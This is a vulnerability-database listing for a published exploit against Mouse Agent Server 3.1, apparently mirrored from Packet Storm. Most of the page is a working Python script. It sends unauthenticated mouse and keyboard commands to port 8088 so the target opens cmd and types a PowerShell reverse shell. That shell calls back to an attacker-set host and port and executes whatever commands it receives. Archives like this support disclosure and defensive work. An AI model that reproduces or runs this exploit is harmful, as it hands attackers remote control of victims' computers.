Lucene search
K

📄 Mouse Agent Server 3.1 Remote Code Execution

🗓️ 21 Jul 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 96 Views

Mouse Agent Server 3.1 unauthenticated RCE via GUI automation on port 8088, enabling PowerShell.

Code
# Exploit Title: Mouse Agent Server v3.1 - Remote Code Execution
    # Date: 19/07/2025
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://www.docs.kr/
    # Software Link: http://192.168.8.100:8080/ (IOS/Android Mobile App
    Interface)
    # Version: 3.1 (Windows)
    # Tested on: Windows 10 / Windows 11
    
    
    '''
    Description:
    
    Mouse Agent Server v3.1 is vulnerable to unauthenticated RCE by simulating
    mouse/keyboard inputs to force the target to execute a PowerShell reverse
    shell. It works against default configurations by sending GUI automation
    commands through port 8088.
    
    '''
    
    import socket
    import time
    import sys
    
    
    LHOST = "192.168.8.101"
    LPORT = 4444
    RHOST = "192.168.8.102"
    RPORT = 8088
    
    def send(cmd, expect_response=False, delay=0.5):
        with socket.socket() as s:
            s.settimeout(5)
            s.connect((RHOST, RPORT))
            s.sendall(cmd.encode())
            if expect_response:
                return s.recv(1024).decode().strip()
            time.sleep(delay)
    
    psh = f"powershell -nop -w hidden -c \"$c=New-Object
    Net.Sockets.TCPClient('{LHOST}',{LPORT});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};while(($i=$s.Read($b,0,$b.Length))
    -ne 0){{;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d
    2>&1 | Out-String);$sb=([text.encoding]::ASCII).GetBytes($o+'PS
    '+(pwd).Path+'> ');$s.Write($sb,0,$sb.Length);$s.Flush()}};$c.Close()\""
    
    print("[*] Starting attack sequence")
    
    
    response = send("LIN:\r\n", True)
    if response == "LIN:PASS":
        print("[+] Server requires password")
        password = input("[?] Enter server password (or leave blank to exit): ")
        if not password:
            print("[!] No password provided - exiting")
            sys.exit(1)
        response = send(f"LIN:{password}\r\n", True)
    elif response != "LIN:OK":
        print(f"[!] Handshake failed (response: {response}) - aborting")
        sys.exit(1)
    
    if response != "LIN:OK":
        print("[!] Authentication failed - check password")
        sys.exit(1)
    
    
    print("[+] Authentication successful")
    send("MUS:MOV,-9999,9999\r\n", False, 0.5)
    send("MUS:MOV,15,-10\r\n", False, 0.5)
    send("MUS:CLK,1\r\n", False, 2)
    send("KEY:STR,cmd\r\n", False, 1)
    send("KEY:SIM,RETURN\r\n", False, 3)
    send(f"KEY:STR,{psh}\r\n", False, 0.5)
    send("KEY:SIM,RETURN\r\n", False, 1)
    
    print("[+] Payload delivered - check your listener")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation